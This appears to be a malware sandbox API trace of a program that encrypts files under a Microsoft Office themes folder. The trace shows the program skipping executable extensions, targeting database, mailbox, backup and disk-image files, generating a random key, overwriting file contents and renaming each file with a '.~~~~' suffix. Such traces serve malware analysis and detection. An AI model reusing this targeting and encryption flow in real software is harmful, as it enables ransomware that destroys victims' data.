	[0084.897] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.897] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.897] CloseHandle (hObject=0x11c) returned 1
	[0084.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.962] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.~~~~")) returned 1
	[0085.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0085.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.127] GetLastError () returned 0x0
	[0085.127] RtlWakeConditionVariable () returned 0x365f70
	[0085.127] GetCurrentThreadId () returned 0x3a4
	[0085.128] GetCurrentThreadId () returned 0x3a4
	[0085.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0085.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3938 | out: hHeap=0x300000) returned 1
	[0085.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2ad8 | out: hHeap=0x300000) returned 1
	[0085.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0085.128] lstrlenW (lpString=".scr") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".scr") returned 0x0
	[0085.128] lstrlenW (lpString=".cmd") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".cmd") returned 0x0
	[0085.128] lstrlenW (lpString=".dll") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dll") returned 0x0
	[0085.128] lstrlenW (lpString=".bat") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".bat") returned 0x0
	[0085.128] lstrlenW (lpString=".cpl") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".cpl") returned 0x0
	[0085.128] lstrlenW (lpString=".sys") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".sys") returned 0x0
	[0085.128] lstrlenW (lpString=".msc") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".msc") returned 0x0
	[0085.128] lstrlenW (lpString=".com") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".com") returned 0x0
	[0085.128] lstrlenW (lpString=".lnk") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".lnk") returned 0x0
	[0085.128] lstrlenW (lpString=".msp") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".msp") returned 0x0
	[0085.128] lstrlenW (lpString=".pif") returned 4
	[0085.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".pif") returned 0x0
	[0085.128] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.176] lstrlenW (lpString=".sqb") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".sqb") returned 0x0
	[0085.176] lstrlenW (lpString=".ost") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".ost") returned 0x0
	[0085.176] lstrlenW (lpString=".txt") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".txt") returned 0x0
	[0085.176] lstrlenW (lpString=".mdt") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".mdt") returned 0x0
	[0085.176] lstrlenW (lpString=".BDB") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".BDB") returned 0x0
	[0085.176] lstrlenW (lpString=".eql") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".eql") returned 0x0
	[0085.176] lstrlenW (lpString=".DBF") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DBF") returned 0x0
	[0085.176] lstrlenW (lpString=".EQL") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".EQL") returned 0x0
	[0085.176] lstrlenW (lpString=".FDB") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".FDB") returned 0x0
	[0085.176] lstrlenW (lpString=".EDB") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".EDB") returned 0x0
	[0085.176] lstrlenW (lpString=".DACPAC") returned 7
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DACPAC") returned 0x0
	[0085.176] lstrlenW (lpString=".VHD") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".VHD") returned 0x0
	[0085.176] lstrlenW (lpString=".DBV") returned 4
	[0085.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DBV") returned 0x0
	[0085.176] lstrlenW (lpString=".dacpac") returned 7
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dacpac") returned 0x0
	[0085.177] lstrlenW (lpString=".sdf") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".sdf") returned 0x0
	[0085.177] lstrlenW (lpString=".accdb") returned 6
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".accdb") returned 0x0
	[0085.177] lstrlenW (lpString=".DBX") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DBX") returned 0x0
	[0085.177] lstrlenW (lpString=".MDT") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".MDT") returned 0x0
	[0085.177] lstrlenW (lpString=".SQB") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".SQB") returned 0x0
	[0085.177] lstrlenW (lpString=".vhd") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".vhd") returned 0x0
	[0085.177] lstrlenW (lpString=".bac") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".bac") returned 0x0
	[0085.177] lstrlenW (lpString=".mdf") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".mdf") returned 0x0
	[0085.177] lstrlenW (lpString=".BAK") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".BAK") returned 0x0
	[0085.177] lstrlenW (lpString=".BAC") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".BAC") returned 0x0
	[0085.177] lstrlenW (lpString=".dbs") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dbs") returned 0x0
	[0085.177] lstrlenW (lpString=".vhdx") returned 5
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".vhdx") returned 0x0
	[0085.177] lstrlenW (lpString=".NDF") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".NDF") returned 0x0
	[0085.177] lstrlenW (lpString=".dat") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dat") returned 0x0
	[0085.177] lstrlenW (lpString=".DBS") returned 4
	[0085.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DBS") returned 0x0
	[0085.178] lstrlenW (lpString=".CKP") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".CKP") returned 0x0
	[0085.178] lstrlenW (lpString=".edb") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".edb") returned 0x0
	[0085.178] lstrlenW (lpString=".PST") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".PST") returned 0x0
	[0085.178] lstrlenW (lpString=".dbf") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dbf") returned 0x0
	[0085.178] lstrlenW (lpString=".SQL") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".SQL") returned 0x0
	[0085.178] lstrlenW (lpString=".pst") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".pst") returned 0x0
	[0085.178] lstrlenW (lpString=".dbv") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dbv") returned 0x0
	[0085.178] lstrlenW (lpString=".SDF") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".SDF") returned 0x0
	[0085.178] lstrlenW (lpString=".dtxs") returned 5
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dtxs") returned 0x0
	[0085.178] lstrlenW (lpString=".db3") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".db3") returned 0x0
	[0085.178] lstrlenW (lpString=".OST") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".OST") returned 0x0
	[0085.178] lstrlenW (lpString=".dbx") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dbx") returned 0x0
	[0085.178] lstrlenW (lpString=".DB3") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DB3") returned 0x0
	[0085.178] lstrlenW (lpString=".DAT") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DAT") returned 0x0
	[0085.178] lstrlenW (lpString=".VHDX") returned 5
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".VHDX") returned 0x0
	[0085.178] lstrlenW (lpString=".ndf") returned 4
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".ndf") returned 0x0
	[0085.178] lstrlenW (lpString=".DB") returned 3
	[0085.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DB") returned 0x0
	[0085.179] lstrlenW (lpString=".sql") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".sql") returned 0x0
	[0085.179] lstrlenW (lpString=".MYD") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".MYD") returned 0x0
	[0085.179] lstrlenW (lpString=".DBT") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DBT") returned 0x0
	[0085.179] lstrlenW (lpString=".ACCDB") returned 6
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".ACCDB") returned 0x0
	[0085.179] lstrlenW (lpString=".fdb") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".fdb") returned 0x0
	[0085.179] lstrlenW (lpString=".bak") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".bak") returned 0x0
	[0085.179] lstrlenW (lpString=".myd") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".myd") returned 0x0
	[0085.179] lstrlenW (lpString=".DTXS") returned 5
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".DTXS") returned 0x0
	[0085.179] lstrlenW (lpString=".ckp") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".ckp") returned 0x0
	[0085.179] lstrlenW (lpString=".dbt") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".dbt") returned 0x0
	[0085.179] lstrlenW (lpString=".db") returned 3
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".db") returned 0x0
	[0085.179] lstrlenW (lpString=".TXT") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".TXT") returned 0x0
	[0085.179] lstrlenW (lpString=".MDF") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".MDF") returned 0x0
	[0085.179] lstrlenW (lpString=".bdb") returned 4
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".bdb") returned 0x0
	[0085.179] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0085.180] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.181] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0085.181] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0085.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.184] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20517366694) returned 1
	[0085.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c97cc50, dwHighDateTime=0x1d60e1e)) 
	[0085.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863ad0
	[0085.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863ad0 | out: hHeap=0x300000) returned 1
	[0085.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6d18
	[0085.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0085.187] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.187] GetLastError () returned 0x0
	[0085.187] GetLastError () returned 0x0
	[0085.187] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.187] GetLastError () returned 0x0
	[0085.188] GetLastError () returned 0x0
	[0085.189] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffde5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.189] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x21b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x21b, lpOverlapped=0x0) returned 1
	[0085.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.189] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.190] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.190] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.190] CloseHandle (hObject=0x11c) returned 1
	[0085.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0085.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.~~~~")) returned 1
	[0085.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0085.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.191] GetLastError () returned 0x0
	[0085.191] RtlWakeConditionVariable () returned 0x365f70
	[0085.191] GetCurrentThreadId () returned 0x3a4
	[0085.191] GetCurrentThreadId () returned 0x3a4
	[0085.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0085.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0085.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b10 | out: hHeap=0x300000) returned 1
	[0085.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.191] lstrlenW (lpString=".scr") returned 4
	[0085.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.191] lstrlenW (lpString=".cmd") returned 4
	[0085.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.191] lstrlenW (lpString=".dll") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.192] lstrlenW (lpString=".bat") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.192] lstrlenW (lpString=".cpl") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.192] lstrlenW (lpString=".sys") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.192] lstrlenW (lpString=".msc") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.192] lstrlenW (lpString=".com") returned 4
	[0085.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.192] lstrlenW (lpString=".lnk") returned 4
